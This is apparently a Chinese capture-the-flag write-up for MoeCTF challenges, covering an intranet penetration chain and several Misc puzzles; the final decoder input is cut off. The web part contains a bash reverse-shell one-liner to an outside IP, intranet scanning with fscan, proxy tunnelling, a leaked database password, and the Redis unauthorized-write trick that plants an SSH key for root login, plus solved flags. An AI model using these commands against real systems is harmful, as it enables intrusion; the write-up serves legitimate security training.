> 如果服务器带了防火墙的，务必记得去开放端口，为了安全推荐使用不常用端口并限制源。

连接后，先进行一个端口监听。

```bash
nc -lvvp 2333
```

然后在 Console 进行反弹 Shell，具体如下

```python
print(os.system("bash -c 'bash -i >& /dev/tcp/20.2.216.21/2333 0>&1'"))
```

就可以获得留言板所在容器的 Shell 了，通过题目描述中的内容，获取 `readme` 的内容，

```bash
root@66ff0435ac92:/app# cat /readme
cat /readme
恭喜你通过外网渗透拿下了本台服务器的权限
接下来，你需要尝试内网渗透，本服务器的/app/tools目录下内置了fscan
你需要了解它的基本用法，然后扫描内网的ip段
如果你进行了正确的操作，会得到类似下面的结果
10.1.11.11:22 open
10.1.23.21:8080 open
10.1.23.23:9000 open
将你得到的若干个端口号从小到大排序并以 - 分割，这一串即为hint.zip压缩包的密码（本例中，密码为：22-8080-9000）
注意：请忽略掉xx.xx.xx.1，例如扫出三个ip 192.168.0.1 192.168.0.2 192.168.0.3 ，请忽略掉有关192.168.0.1的所有结果！此为出题人服务器上的其它正常服务
对密码有疑问随时咨询出题人
```

之后还可以获取 `flag` 的内容，

```bash
root@66ff0435ac92:/app# cat /flag
cat /flag
Oh! You discovered the secret of my blog.
But I divided the flag into three sections,hahaha.
This is the first part of the flag
moectf{Information-leakage-Is-dangerous!
```

下一步的操作就是扫内网 IP 段了。

#### 0x03 获取压缩包密码

通过获取 hosts 内容可以得到以下内容

```bash
root@66ff0435ac92:/app# cat /etc/hosts
cat /etc/hosts
127.0.0.1       localhost
::1     localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.20.0.4      66ff0435ac92
172.21.0.2      66ff0435ac92
```

可以得到存在另外两个 IP `172.20.0.4` 和 `172.21.0.2` 。

通过对这两个 IP 进行扫描可以得到以下内容

```bash
root@66ff0435ac92:/app# /app/tools/fscan -h 172.21.0.2/16
/app/tools/fscan -h 172.21.0.2/16
start infoscan
(icmp) Target 172.21.0.1      is alive
(icmp) Target 172.21.0.2      is alive
[*] LiveTop 172.21.0.0/16    段存活数量为: 2
[*] LiveTop 172.21.0.0/24    段存活数量为: 2
[*] Icmp alive hosts len is: 2
172.21.0.1:8000 open
172.21.0.1:888 open
172.21.0.1:8080 open
172.21.0.2:8080 open
172.21.0.1:3306 open
172.21.0.1:443 open
172.21.0.1:80 open
172.21.0.1:22 open
172.21.0.1:21 open
172.21.0.1:7777 open
172.21.0.1:10001 open
[*] alive ports len is: 11
start vulscan
[*] WebTitle: http://172.21.0.1:888     code:403 len:548    title:403 Forbidden
[*] WebTitle: http://172.21.0.1:8080    code:302 len:35     title:None 跳转url: http://172.21.0.1:8080/login/index
[*] WebTitle: http://172.21.0.1:8000    code:302 len:199    title:Redirecting... 跳转url: http://172.21.0.1:8000/login
[*] WebTitle: http://172.21.0.1         code:200 len:138    title:404 Not Found
[*] WebTitle: http://172.21.0.2:8080    code:302 len:199    title:Redirecting... 跳转url: http://172.21.0.2:8080/login
[*] WebTitle: http://172.21.0.1:7777    code:200 len:917    title:恭喜，站点创建成功！
[*] WebTitle: http://172.21.0.1:8000/login code:200 len:1145   title:LOGIN
[*] WebTitle: http://172.21.0.1:8080/login/index code:200 len:3617   title:None
[*] WebTitle: http://172.21.0.2:8080/login code:200 len:1145   title:LOGIN

root@66ff0435ac92:/app# /app/tools/fscan -h 172.20.0.4/16
/app/tools/fscan -h 172.20.0.4/16
start infoscan
(icmp) Target 172.20.0.1      is alive
(icmp) Target 172.20.0.2      is alive
(icmp) Target 172.20.0.3      is alive
(icmp) Target 172.20.0.4      is alive
[*] LiveTop 172.20.0.0/16    段存活数量为: 4
[*] LiveTop 172.20.0.0/24    段存活数量为: 4
[*] Icmp alive hosts len is: 4
172.20.0.1:80 open
172.20.0.2:22 open
172.20.0.1:22 open
172.20.0.1:21 open
172.20.0.1:443 open
172.20.0.4:8080 open
172.20.0.1:8080 open
172.20.0.2:6379 open
172.20.0.3:3306 open
172.20.0.1:3306 open
172.20.0.1:888 open
172.20.0.1:7777 open
172.20.0.1:10001 open
[*] alive ports len is: 13
start vulscan
[+] Redis:172.20.0.2:6379 unauthorized file:/data/dump.rdb
[+] Redis:172.20.0.2:6379 like can write /root/.ssh/
[*] WebTitle: http://172.20.0.1         code:200 len:138    title:404 Not Found
[*] WebTitle: http://172.20.0.1:8080    code:302 len:35     title:None 跳转url: http://172.20.0.1:8080/login/index
[*] WebTitle: http://172.20.0.1:888     code:403 len:548    title:403 Forbidden
[*] WebTitle: http://172.20.0.1:8080/login/index code:200 len:3617   title:None
[*] WebTitle: http://172.20.0.1:7777    code:200 len:917    title:恭喜，站点创建成功！
[*] WebTitle: http://172.20.0.4:8080    code:302 len:199    title:Redirecting... 跳转url: http://172.20.0.4:8080/login
[*] WebTitle: http://172.20.0.4:8080/login code:200 len:1145   title:LOGIN
已完成 12/13 [-] ssh 172.20.0.1:22 root root#123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
```

按照题目描述的提示去掉 `.1` 结尾的 IP 可以得到压缩包的密码如下

```
8080
22-3306-6379-8080
```

通过尝试发现下面那个是 `hint.zip` 的密码，解压后打开（丢 Linux 里面打开）来可以得到 Hint 如下

```
当你看到此部分，证明你正确的进行了fscan的操作得到了正确的结果
可以看到，在本内网下还有另外两台服务器
其中一台开启了22(ssh)和6379(redis)端口
另一台开启了3306(mysql)端口
还有一台正是你访问到的留言板服务
接下来，你可能需要搭建代理，从而使你的本机能直接访问到内网的服务器
此处可了解`nps`和`frp`，同样在/app/tools已内置了相应文件
连接代理，推荐`proxychains`
对于mysql服务器，你需要找到其账号密码并成功连接，在数据库中找到flag2
对于redis服务器，你可以学习其相关的渗透技巧，从而获取到redis的权限，并进一步寻找其getshell的方式，最终得到flag3
```

#### 0x04 获取 flag2

提示中已经讲明了在 `/app/tools` 有 [nps](https://github.com/ehang-io/nps) ，那就继续用 nps 吧。这里的 nps 是客户端，我们需要在我们的服务端（在自己搭建的 nps 所在的服务器）的 `客户端` 中新增一个供靶机进行内网渗透用，在获取到的靶机 Shell 中进行连接

```bash
root@05551bd5dd95:/app/tools# ./npc -server=<nsp服务端 IP>:8024 -vkey=<Unique verify Key>
<npc -server=<nsp服务端 IP>:8024 -vkey=<Unique verify Key>
```

连接成功后在 `客户端` 找到靶机所连接的 客户端 ID ，点击隧道，新增 **TCP** 隧道，服务器端口根据自行进行调节，我的设置如下

* ssh
  * 服务端端口 - 2222
  * 目标 (IP:端口) - 172.20.0.2:22
* redis
  * 服务端端口 - 6379
  * 目标 (IP:端口) - 172.20.0.2:6379
* mysql
  * 服务端端口 - 3309
  * 目标 (IP:端口) - 172.20.0.3:3306

设置完后，通过打印 `/app` 路径的文件及目录可以发现以下内容

```bash
root@05551bd5dd95:/app# ls
ls
__pycache__
app.py
dataSql.py
getPIN.py
static
tools
```

通过 cat 可以获取 `dataSql.py` 的内容如下

```python
root@05551bd5dd95:/app# cat dataSql.py
cat dataSql.py
import pymysql
import time
import getPIN

pin = getPIN.get_pin()

class Database:
    def __init__(self, max_retries=3):
        self.max_retries = max_retries
        self.db = None

    def __enter__(self):
        self.db = self.connect_to_database()
        return self.db, self.db.cursor()

    def __exit__(self, exc_type, exc_val, exc_tb):
        if self.db and self.db.open:
            self.db.close()

    def connect_to_database(self):
        retries = 0
        while retries < self.max_retries:
            try:
                db = pymysql.connect(
                    host="mysql",  # 数据库地址
                    port=3306,  # 数据库端口
                    user="root",  # 数据库用户名
                    passwd="The_P0sswOrD_Y0u_Nev3r_Kn0w",  # 数据库密码
                    database="messageboard",  # 数据库名
                    charset='utf8'
                )
                return db
            except pymysql.Error as e:
                retries += 1
                print(f"Connection attempt {retries} failed. Retrying in 5 seconds...")
                time.sleep(5)
        raise Exception("Failed to connect to the database after maximum retries.")

def canLogin(username,password):
    with Database() as (db, cursor):
        sql = 'select password from users where username=%s'
        cursor.execute(sql, username)
        res = cursor.fetchall()
        if res:
            if res[0][0] == password:
                return True
        return False

def register(id,username,password,power):
    with Database() as (db, cursor):
        sql = 'select username from users where username=%s'
        cursor.execute(sql, username)
        res = cursor.fetchall()
        if res:
            return False
        else:
            sql = 'insert into users (id,username,password,power) values (%s,%s,%s,%s)'
            cursor.execute(sql, (id,username,password,power))
            db.commit()
            return True

def changePassword(username,oldPassword,newPassword):
    with Database() as (db, cursor):
        sql = 'select password from users where username=%s'
        cursor.execute(sql, username)
        res = cursor.fetchall()
        if res:
            if oldPassword == res[0][0]:
                sql = 'update users set password=%s where username=%s'
                cursor.execute(sql, (newPassword,username))
                db.commit()
                return True
            else:
                return "wrong password"
        else:
            return "username doesn't exist."

def uploadMessage(username,message,nowtime,private):
    with Database() as (db, cursor):
        sql = 'insert into message (username,data,time,private) values (%s,%s,%s,%s)'
        cursor.execute(sql, (username,message,nowtime,private))
        db.commit()
        return True

def showMessage():
    with Database() as (db, cursor):
        sql = 'select * from message'
        cursor.execute(sql)
        res = cursor.fetchall()
        res = [tuple([str(elem).replace('128-243-397', pin) for elem in i]) for i in res]
        return res

def usersName():
    with Database() as (db, cursor):
        sql = 'select * from users'
        cursor.execute(sql)
        res = cursor.fetchall()
        return len(res)

def getPower(username):
    with Database() as (db, cursor):
        sql = 'select power from users where username=%s'
        cursor.execute(sql, username)
        res = cursor.fetchall()
        return res[0][0]

def deleteMessage(username,pubTime):
    with Database() as (db, cursor):
        sql = 'delete from message where username=%s and time=%s'
        cursor.execute(sql,(username,pubTime))
        db.commit()
        return True
```

查看源码可以得到以下内容

* 账号 - root
* 密码 - The\_P0sswOrD\_Y0u\_Nev3r\_Kn0w
* 数据库名 - messageboard

通过我们搭建的内网渗透访问 `<nsp服务端 IP>:3309` 用以上获得的账号密码登录就能进入 MySQL，可以发现 `messageboard` 库中存在表名 `flag` ，`flag` 表存在字段 `flag` ，内容如下

```
-Are-YOu-myS0L-MasT3r?-
```

#### 0x05 获取 flag3

> <https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis#redis-rce>

由于上面已经完成了映射，通过访问 `<nsp服务端 IP>:6379` 即可。先通过 `ssh-keygen` 生成一个密钥作为 SSH 登录凭证，如下所示

```bash
$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/kali/.ssh/id_rsa
Your public key has been saved in /home/kali/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:X8dvPV1NJ0H8CDFyeFDBvsAHPtmiQjf5UY91+r0hTHY kali@kali
The key's randomart image is:
+---[RSA 3072]----+
|          o=*=o  |
|          oo=.o..|
|         + B =.=o|
|      . + O =++E+|
|     . .S+ *=.+.+|
|      . .....+ o*|
|       .  .   ..B|
|               o.|
|                 |
+----[SHA256]-----+
```

然后将登录凭证写入到一个文本中，并作为 ssh\_key 参数的值存进去，

```bash
$ (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
$ cat spaced_key.txt | redis-cli -h 20.2.216.21 -p 6379 -x set ssh_key
OK
```

通过 redis-cli 连接修改 SSH 如下所示，

```bash
$ redis-cli -h <nsp服务端 IP> -p 6379
nsp服务端 IP:6379> config set dir /root/.ssh/
OK
nsp服务端 IP:6379> config set dbfilename "authorized_keys"
OK
nsp服务端 IP:6379> save
OK
nsp服务端 IP:6379>
```

最后用 ssh 连进去获得 flag 即可，如下所示。

```bash
$ ssh -i ~/.ssh/id_rsa root@<nsp服务端 IP> -p 2222
Linux e4b99e72207b 5.15.0-71-generic #78-Ubuntu SMP Tue Apr 18 09:00:29 UTC 2023 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Aug 30 08:09:50 2023 from 172.20.0.4
root@e4b99e72207b:~# ls
root@e4b99e72207b:~# cd /
root@e4b99e72207b:/# ls
bin   data  etc   home  lib32  libx32  mnt  proc  run   srv       sys  usr
boot  dev   flag  lib   lib64  media   opt  root  sbin  start.sh  tmp  var
root@e4b99e72207b:/# cat flag
Congratulations!!!
You beat this moeworld~
You need to protect your redis, even if it's on the intranet.
This is the third part of the flag
P@sSW0Rd-F0r-redis-Is-NeceSsary}
```

#### 0x06 结果 & 其他

将三段 flag 拼起来就可以得到完整的 flag 如下

```
moectf{Information-leakage-Is-dangerous!-Are-YOu-myS0L-MasT3r?-P@sSW0Rd-F0r-redis-Is-NeceSsary}
```

通过查看数据库中的 `users` 表可以看到 `admin` 的密码为 `SecurityP@sSw0Rd` 。

## Misc

### 入门指北

base64 解码就可以得到 flag。

```
moectf{h@v3_fun_@t_m15c_!}
```

### 狗子(1) 普通的猫

用 010 打开 flag 就在末尾。

moectf{eeeez\_f1ag\_as\_A\_G1ft!}

### 狗子(2) 照片

需要增加下 ruby 的堆栈大小限制

```bash
$ export RUBY_THREAD_VM_STACK_SIZE=500000000
$ zsteg bincat_hacked.png
b1,bgr,lsb,xy       .. <wbStego size=132, data="|\xB4\xCBmR\x83m\xB1]\x18"..., even=false, enc="wbStego 2.x/3.x", mix=true, controlbyte="\xCF">                         
b1,rgba,lsb,xy      .. text: "moectf{D0ggy_H1dd3n_1n_Pho7o_With_LSB!}\n"
b2,a,msb,xy         .. file: VISX image file
b2,rgb,lsb,xy       .. text: "{R3s0.\tL"
b2,rgba,msb,xy      .. text: "qFDTAQTDl"
b2,abgr,msb,xy      .. text: "=3iO{%y9/"
b3,r,msb,xy         .. text: "$&]K%Hb$E"
b4,r,lsb,xy         .. text: "eDwd\"GeS'"
b4,g,lsb,xy         .. text: "eDwdDieS'"
b4,b,lsb,xy         .. text: "dEBFUWuS"
b4,rgb,lsb,xy       .. text: "2#5DgeU#'vgj"
b4,bgr,lsb,xy       .. text: "43$EgeU#&wgk"
b4,rgba,lsb,xy      .. text: "gnD_D_#>"
b4,rgba,msb,xy      .. text: "~{sssQu5s5ubvbr"
b4,abgr,msb,xy      .. text: "7SWSg&'&"
```

### 狗子(3) 寝室

```python
import os
import subprocess
import tarfile
import zipfile
import rarfile

EXTRACT_DIR = "./unpacked"

if not os.path.exists(EXTRACT_DIR):
    os.makedirs(EXTRACT_DIR)


def extract_7z(filepath, extract_to):
    command = ["E:\\NetworkSecurity\\7-Zip\\7z.exe", "x", filepath, f"-o{extract_to}"]
    subprocess.run(command, check=True)


def extract_file(filepath, extract_to):
    if filepath.endswith('.tar'):
        with tarfile.open(filepath, 'r') as archive:
            archive.extractall(extract_to)
    elif filepath.endswith('.zip'):
        with zipfile.ZipFile(filepath, 'r') as archive:
            archive.extractall(extract_to)
    elif filepath.endswith('.rar'):
        with rarfile.RarFile(filepath, 'r') as archive:
            archive.extractall(extract_to)
    elif filepath.endswith('.gz') or filepath.endswith('.tgz'):
        with tarfile.open(filepath, 'r:gz') as archive:
            archive.extractall(extract_to)
    elif filepath.endswith('.bz2'):
        with tarfile.open(filepath, 'r:bz2') as archive:
            archive.extractall(extract_to)
    elif filepath.endswith('.7z'):
        extract_7z(filepath, extract_to)
    else:
        raise ValueError(f"Unknown archive format: {filepath}")


def unpack_archive(starting_archive):
    queue = [starting_archive]
    while queue:
        current_path = queue.pop()
        try:
            extract_file(current_path, EXTRACT_DIR)
            os.remove(current_path)
        except ValueError:
            return current_path

        for root, _, files in os.walk(EXTRACT_DIR):
            for file in files:
                queue.append(os.path.join(root, file))
    return None


flag_file = unpack_archive("ziploop.tar")

# moectf{Ca7_s133p1ng_und3r_zip_5hell5}
```

### 狗子(4) 故乡话

转 0 和 1 可以得到以下内容。

```
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 
0 1 1 1 1 0 0 0 1 1 0 0 0 0 1 0 1 0 0 0 1 1 0 0 0 0 0 1 0 0 0 0 1 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0 
0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 1 0 0 0 0 1 0 0 0 0 1 0 1 0 0 0 1 0 1 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 0 0 0 0 0 1 0 1 0 
0 1 1 0 0 0 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 0 0 0 0 1 0 1 0 0 0 0 0 1 0 0 0 0 1 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 
0 0 0 1 1 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 1 0 0 0 0 0 1 0 0 0 1 0 1 0 0 0 1 0 0 0 0 0 1 0 1 0 
0 0 0 0 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 0 0 1 0 0 0 1 1 0 0 0 0 0 1 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 1 1 1 0 0 0 0 0 0 0 
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 
```

可以看出这里面的 `1` 组成了一个特殊的字符，通过 <https://www.dcode.fr/standard-galactic-alphabet> 翻译可以得到以下内容

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FYLkTrwNjN9WvMLSx7Rnf%2F%E7%8B%97%E5%AD%90(3)%20%E5%AF%9D%E5%AE%A4-1.jpg?alt=media&amp;token=cf8053c4-0495-4c62-a057-b2a321506c6d" alt=""><figcaption></figcaption></figure>

```
moectf{dontanswer}
```

### 狗子(5) 毛线球

```sh
$ nc localhost 37285
Welcome to your cat shell. Start your tracing by executing `cat doggy.py`!
(yourcat) cat doggy.py
```

通过 `cat doggy.py` 可以得到 `doggy.py` 的源码如下

```python
from time import sleep
from os import environ, system, popen
from random import randint
from sys import argv

# Note: Flag is initially in argv[1], but Doggy does the following process to hide it:

# The cat spawns many processes so you won't find him!
for _ in range(randint(100, 1000)):
    system("true")

if argv[1] != "flag{HIDDEN}":
    # The cat spawns himself again to hide the flag (and spawn lots of process again in order not to be found easily)
    environ["CATSFLAG"] = argv[1]
    popen(f"python {__file__} flag{{HIDDEN}}")
else:
    # After securely hiding himself, he sleeps before escaping to his universe...
    # Note that Doggy starts hiding exactly when the environment starts.
    # So if Doggy escapes in 5 mins, you will HAVE TO RESET your environment!
    # (i.e. run `service stop` and `service start` on the platform)
    sleep(300)
    exit()
```

代码简要意思就是，flag 会被藏在 `python ... doggy.py` 的进程中，可以通过 `cat /proc/<pid>/environ` 来获取 flag，并且这个进程会持续 5 分钟，超过五分钟进程消失后 flag 也跟着不见力。

由于能使用 `cat` ，上述脚本内容跟进程有关，那就扫一下进程吧。

```python
from pwn import *

r = remote('127.0.0.1', 38617)
print(r.recvline())

for pid in range(1, 10000):
    time.sleep(0.05)
    r.sendline(f'cat /proc/{pid}/cmdline'.encode())
    response = r.recvline()
    if b'Error: could not open file' not in response:
        print(f"Found interesting info in PID {pid}: {response}")
        
"""
[x] Opening connection to 127.0.0.1 on port 41503: Trying 127.0.0.1
[+] Opening connection to 127.0.0.1 on port 41503: Done
b'Welcome to your cat shell. Start your tracing by executing `cat doggy.py`!\n'
Found interesting info in PID 1: b'(yourcat) sh\x00startup2.sh\x00\n'
Found interesting info in PID 864: b'(yourcat) python\x00/problem/doggy.py\x00flag{HIDDEN}\x00\n'
Found interesting info in PID 866: b'(yourcat) socat\x00tcp-l:9999,fork,reuseaddr\x00exec:python yourcat.py\x00\n'
"""
```

通过扫进程可以发现有 3 个文件，分别是 `startup2.sh` 、`doggy.py` 和 `yourcat.py` 。

* yourcat.py

```python
from cmd import Cmd


class Application(Cmd):
    intro = (
        """Welcome to your cat shell. Start your tracing by executing `cat doggy.py`!"""
    )

    prompt = "(yourcat) "

    def do_cat(self, arg: str):
        "Print the contents of a file to the screen"
        try:
            with open(arg, "r") as f:
                print(f.read())
        except:
            print("Error: could not open file")

    def do_story(self, arg):
        "Something you may want to know"
        with open("story.md", "r") as f:
            print(f.read())


try:
    Application().cmdloop()
except KeyboardInterrupt:
    print("\nGoodbye!")
```

* startup2.sh

```bash
#!/bin/sh
python doggy.py $(cat /flag) &
sleep 1
rm /flag
socat tcp-l:9999,fork,reuseaddr exec:"python yourcat.py"
exit 1
```

通过分析可以知道这题会将 flag 藏在 `doggy.py` 运行时所在的进程环境变量中，并且会删除 `/flag` 文件以免被找到，而在 `yourcat.py` 中还存在另外一条指令 `story`，这个最后我们再来说，先获取 flag ！

在扫描进程中，得知 `python /problem/doggy.py flag{HIDDEN}` 的 PID 为 864，那就通过 nc 连接来获取即可。

```bash
$ nc localhost 41503
Welcome to your cat shell. Start your tracing by executing `cat doggy.py`!
(yourcat) cat /proc/864/environ
HOSTNAME=369dd8706416SHLVL=3HOME=/rootCATSFLAG=moectf{s8kfqY3s0Mm4MJQvDHnrRkeodETIkEYk}PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binPWD=/problem
```

而之前说的 story 则是一个彩蛋哦，彩蛋如下

```
# 毛线球

（本文与解题无关，且均为虚构。）

## 一

狗子很喜欢毛线球。

毛线球本来小小的，但是一拉，就能拉出很长很长的线出来。他搞不清人是怎么把这种东西缠起来的。

当然，他也喜欢人类。人类对他很好。收留他，给他吃的、玩的，会放纵他做一些他自己都觉得过分的事情，比如玩毛线球，比如把主人的床当作猫砂盆使。

他很喜欢地球，不过他知道他是时候走了。超波信号传来，他的母星被占领之前，最精英的那些逃脱了敌方的阻碍，在太空中漂泊。他要回去加入他们。

但他直到最后都搞不清楚为什么自己会喜欢做一只在地球上的猫。

## 二

收养自己的人比较奇怪。

他知道这人叫作 ReverierXu，旁边人都喊他 rx。但他总觉得 rx 和别人的差别实在太大。

比如按理来说，他活跃的时间，别人都是睡觉的，但 rx 就是不一样，总是在这些时候醒着，在地球人用的计算机器上面做着一些自己根本无法理解的东西。

还有，上次自己被偷拍，生气之余对 rx 的相机施加了一些小小的压迫，竟然也被 rx 一眼看穿。

是同类？绝对不可能。是人类口中的天才？不好说。但是，rx 旁边的人好像都把他叫作“神”。

嘶，神吗……自己的母星上，好像也有一些信仰，把那些幻想中的至高无上的个体叫作“神”。

没想到在地球上，竟然能看到真实存在的神啊……

## 三

地球和他的母星很不一样。

与他的母星比起来，地球仿佛就像最原始的生命一样。没有其他星际文明的虎视眈眈，没有埋藏在人际当中的 FTL 文明的间谍（如果他自己不算的话）。人们甚至还在为了一点点想法的差异而大动干戈。

很天真的文明，却又很幼稚。但对他来说，这种事情挺无所谓的。他很享受这里，至少不像在他的母星上，他需要时时刻刻为了下一代空间旅行技术奔波。

挺蠢的，所谓下一代空间旅行技术，还不就是敌人来了怎么逃的问题。

## 四

在被送入他自己研制的超空间传送装置时，他的上级这么对他说：

“那个星球的人很友好……尤其是对你将要暂时成为的生物而言。”

他不敢信，也不会信。所以 rx 怀抱着一只猫走进房间的那天，大家都看到了那只猫的使劲挣扎。

大家凑近，笑着。他很恐惧，但竟没有人对他怎么样。听着自己听不懂的语言，感受着自己身上的抚摸，他发现自己的身体不太想挣扎了。

人影散去，rx 为他铺张好猫砂盆和饮食器具，然后蹲在旁边看他吃饭。洛千站在旁边，和 rx 说笑着，他听不懂。

但他突然就觉得，好像来之前的那人说的确实有那么点道理。

超空间传输的能力毕竟有限，所以只能让他的母星上的一部分智慧生物转移到这颗星球。他希望他们都能这么幸运，找到一个能来养自己的人。

## 五

他不想走。但是他还是得走了。空间旅行的专家不多，他是其中之一。

超空间传送门已经在这个房间的一个角落打开，只要再过五分多钟就会关闭。只要经过这扇门，自己的外表就会恢复本来的模样，一个人类看到会讨厌的样子。不过也看不到了。

但在离开前，他看到了房间中的毛线球。他踌躇了。犹豫了一会，他走过去，用爪推着毛线球，推到了自己回家的门前。然后他趴着，在离开前的最后五分钟，再感受一下地球。

外面，rx 他们慌张的声音逐渐清晰。狗子定了定神，连人带球，一起走上了回家的路。

原谅我带走一颗毛线球的自私，毕竟我真的很喜欢这里。

## 最后

如果你发现了这个彩蛋，还请不要在群聊里透露，给大家留一个秘密（被我看见了我会撤回）。

另外，校内的同学，如果你发现了这个彩蛋，还请务必私信管理的 ZeroAurora。我会考虑给前几个发现的送一点小东西的。
```

### 狗子(6) 星尘之猫

```bash
$ nc cl.akarin.tk 10001
>> flag
<< moectf{this_is_not_the_real_flag_and_the_real_one_is_'flag.txt'}
>> next(open('flag'+chr(46)+'txt'))
<< moectf{PLz_RemembeR_tHat_iowRaPPeR_is_iteRabLe_in_PytHon!_XTDpDES04OSu9}
```

### zdjd

> <https://github.com/AddOneSecondL/zdjd\\_hoshino>

```python
import base64

b64 = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+/='
leftEye = ['o', '0', 'O', 'Ö']
mouth = ['w', 'v', '.', '_']
rightEye = ['o', '0', 'O', 'Ö']
table = []
separator = ' '

def makeTable():
    for i in range(4):
        for j in range(4):
            for k in range(4):
                table.append(leftEye[i] + mouth[j] + rightEye[k])


makeTable()

def zdjd2human(t):
    arr = t.split(separator)
    lent = len(arr)
    resultArr = []
    for i in range(lent):
        c = arr[i]
        if not c:
            continue
        n = table.index(c)
        if n < 0:
            raise ValueError('Invalid zdjd code')
        resultArr.append(b64[n])
    t = ''.join(resultArr)
    return t

print(zdjd2human('Ö_o owO 0v0 Owo o.O O.O Ö.0 OwO ÖwO 0wO Ov0 OwO Ö.O ÖvÖ Ö.0 Ov0 o.O OvÖ 0w0 OvO o_0 O.Ö Öw0 Ö_0 Ö.O Ö.O O.0 owo ÖvÖ O.o Ö.0 Övo o_0 ÖvÖ 0w0 Ö_0 Övo ow0 Ov0 Ö.0 Öwo 0wÖ O_0 O.Ö o_o 0wÖ Ö.0 Övo Ö.o Ö.Ö Övo ovo Ö.O Ö.o o_0 O.o ÖvO owO 0_0 owO Ö_o 0wÖ Öv0 0wO o.O OwÖ Öw0 O.o Öw0 O.o 0.0 O_O Ö_0 Ö.o Ö.0 0v0 Öw0 Ö.O 0_0 0vÖ Övo owÖ Ov0 0_Ö Öv0 Ö.Ö O.0 0vÖ Ö.o 0vÖ 0.0 OwÖ ÖvÖ ÖvÖ o_0 0_0 ÖwO Ö.O Övo ovo o.O 0vo Ö.0 owo Öv0 ÖvÖ Öw0 Öwo Ö.0 Ö.O o.0 O_Ö o_o O.0 Ö.0 Öwo Ö.o Ö.O ov0 Öw0 Ö_o owÖ Ö.0 Ov0 o_0 Ö.O ov0 Ö.0 Öwo Ö.O o_0 owo o_o O.Ö 0.0 OvÖ Öw0 Ö.O 0_0 ÖvÖ Ö.0 Ö.Ö 0w0 O.O Ö_o owÖ Öv0 O.O Ö.0 O.o ov0 OvÖ ÖvÖ Ö.0 0.0 Ö.O ÖvO O.o Ow0 O_o Ö.O 0vo ov0 OvÖ o.Ö OwÖ Ö.0 0w0 o.O owÖ 0.0 O_Ö ÖvÖ Ö.0 O_0 Ö_0 Öw0 Ö.O O_0 0wO o_O Ö.o O_0 Övo Öw0 ow0 O_0 ÖwO Ö.0 Ö.O Ö.0 O.Ö Öv0 O.o Ö.0 Ö_0 o.Ö ow0 Ö.0 0wÖ OvO 0vO 0_0 0v0 o_O ÖvÖ 0.o 0wo o_0 O.O 0w0 0v0 O_o O.Ö Öv0 0w0 o.O Ö.O Ow0 0.0 o.Ö 0vO o_o 0wo ÖwO OvO Ov0 0wO o_O Ö.Ö Öv0 0v0 o_o OwO Ov0 0_Ö Ö_0 0wO Ov0 0.o Ö_o Ö.Ö Öw0 0.o O_o O.O o.0 0vO O_o OvO O_0 ovO o_0 Ö.O ov0 0vo o_0 Ö.O 0.0 0.0 Ö_o Ö.O Öv0 ow0 ÖwÖ OwO O_o 0wo o_0 owO 0w0 0.0 Ö_o owO 0wo 0wo Ö_o 0vO Ö.0 0vÖ o.O Ö.O ovo 0wo o_0 owO 0v0 owo o.O OvO Ov0 0wO Öw0 0wÖ Ovo ov0 Öwo ÖvÖ 0vo Owo Öw0 O.O Öw0 0vo Ö_0 0vO O_o O_O o.O Ö.Ö Ö_o ovO O_o O.Ö Öv0 0.o Ö_0 ÖvO Ov0 0v0 o.Ö 0vO Övo 0wo ÖwO OvO Ov0 0wO o_O Ö.Ö Öv0 0v0 o_o OwO Ov0 0_Ö Ö_0 0wO Ov0 0.o Ö_o Ö.Ö Öw0 0.o O_o O.O o.0 0vO O_o OvO O_0 0vo o_0 Ö.O Öv0 ow0 Ö_0 O.Ö Ö.o Ö_Ö O_o 0wO Ov0 owÖ o.O O.O 0v0 0wÖ o.O OvO Ov0 0wO Ö_0 Ö.O o_0 0.0 o.Ö 0wO Ov0 owÖ o.O Ö.Ö Öv0 0.o O_o OvÖ O_o owÖ Öwo 0vO O_0 0vO Öwo Ö.O Öv0 0w0 Öwo 0wÖ O_o Owo Öw0 Owo 0.o O_O o.O O.O 0v0 0_O o_0 OvÖ O.o ovO O_o O.O 0w0 0_Ö o_0 OwO Ov0 0vo o.Ö OwO Ov0 OvO o.O Ö.Ö Öv0 0wÖ o.Ö owO 0v0 0_O O_o O.O O.0 0vo Ö_0 O.Ö O_0 0v0 o_o owÖ Öw0 0v0 o_o OwO Ov0 0v0 o.Ö 0vO Öw0 0_Ö Ö_0 O.O Ö.o Ö_Ö OvO 0vO 